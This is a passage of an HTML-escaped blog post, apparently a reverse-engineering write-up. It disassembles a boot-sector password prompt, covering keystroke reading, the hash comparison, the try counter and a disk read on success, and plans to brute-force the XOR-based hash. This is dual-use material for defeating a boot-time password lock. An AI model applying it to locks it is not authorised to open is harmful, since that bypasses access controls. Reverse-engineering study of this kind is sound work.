/&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:021D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 16h ; KEYBOARD - GET ENHANCED KEYSTROKE &lt;/span&gt;&lt;br /&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:021D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Return: AH = scan code, AL = character&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:021F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp ah, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0222&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz short loc_24F&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0224&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp ah, 0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0227&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz short loc_25D&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0229&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp ah, 1Ch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:022C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz short loc_26B&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:022E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp ah, 0E0h ; 'Ó'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0231&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz short loc_26B&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0233&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp al, 21h ; '!'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0235&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jb short getChar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0237&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp al, 7Eh ; '~'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0239&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ja short getChar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:023B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp di, 5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:023E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnb short getChar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0240&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov [bx+di], al&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0242&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc di&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0243&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0244&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ax, 0E2Ah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0247&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov bx, 7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:024A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:024C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:024D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp short getChar&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A condition check&amp;nbsp;that:&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Goes to a special section than read the disk if the condition is meet (think like the HD is now in "unlocked mode")&lt;/li&gt;&lt;li&gt;If it's false, decrements a counter (max_tries?), prints an message&amp;nbsp;and then start the getPassword() loop again&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0289 checkPassword: &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0289&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov cl, 10h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:028B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor dx, dx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:028D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov si, 7E7Ah&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0290&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cld&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0291&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0291 calcPasswordHash: &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0291&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lodsb&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;seg000:0292&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call calc_hash&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0295&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dec cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0297&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnz short calcPasswordHash&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0299&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp dx, ds:7FFAh ;dx==0x2002&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:029D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz short goodPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:029F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov si, 7FDAh&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02A2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call print_String&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02A5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call sub_358&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02A8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dec byte ptr ds:7E79h&amp;nbsp; ;numTries&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02AC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnz loop_Input&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02B0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp short maxTriesReached&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02B2 goodPassword: &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02B2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov bx, 7E00h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02B5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov cx, 5&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02B8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov dx, 80h ; 'Ç'&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02BB&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ax, 201h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;seg000:02BE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 13h ; DISK - READ SECTORS INTO MEMORY&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02C0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnb short loc_2CA&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02C2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov si, 7D81h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02C5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call print_String&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:02C8&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[...]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:031D maxTriesReached: &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:031D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ax, 40h ; '@'&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0320&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov es, ax&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0322&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; assume es:nothing&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[...]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:032D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0330&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; retf&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:0331&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;So, seems that we've spotted the algorithm. But before, we can see that the references to some variables are meaningless, because the align/offset&amp;nbsp;are not correct. It's easy to guess, as the variables for sure are pointing to the string references ("Wrong password", "Enter password",...) that we've seen before.&lt;br /&gt;&lt;br /&gt;So, if you can see properly all the string references, launch IDA&amp;nbsp;with "Loading offset" to 0x00007A00. Another quick and dirty options is patch manually all the references to point to the string.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-1cMPPmCg4hY/TXVWdeQvl6I/AAAAAAAAADA/spY7kwWcXN4/s1600/code_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="329" q6="true" src="https://lh6.googleusercontent.com/-1cMPPmCg4hY/TXVWdeQvl6I/AAAAAAAAADA/spY7kwWcXN4/s640/code_1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Next step will be bruteforcing a valid password: we can try to reverse the function "encrypt_pwd" (basic XOR operations) or bruteforce it. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-JCpRdw03jG4/TXVXgiI0zFI/AAAAAAAAADE/x5SaqcV_u7w/s1600/code_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" q6="true" src="https://lh4.googleusercontent.com/-JCpRdw03jG4/TXVXgiI0zFI/AAAAAAAAADE/x5SaqcV_u7w/s640/code_2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;But, before solving that, we need to know more about the password that is entered by the user:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;First, looking at the code, no more than 5 characters seems to be&amp;nbsp;written to the temp_password&lt;/li&gt;&lt;/ul&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier 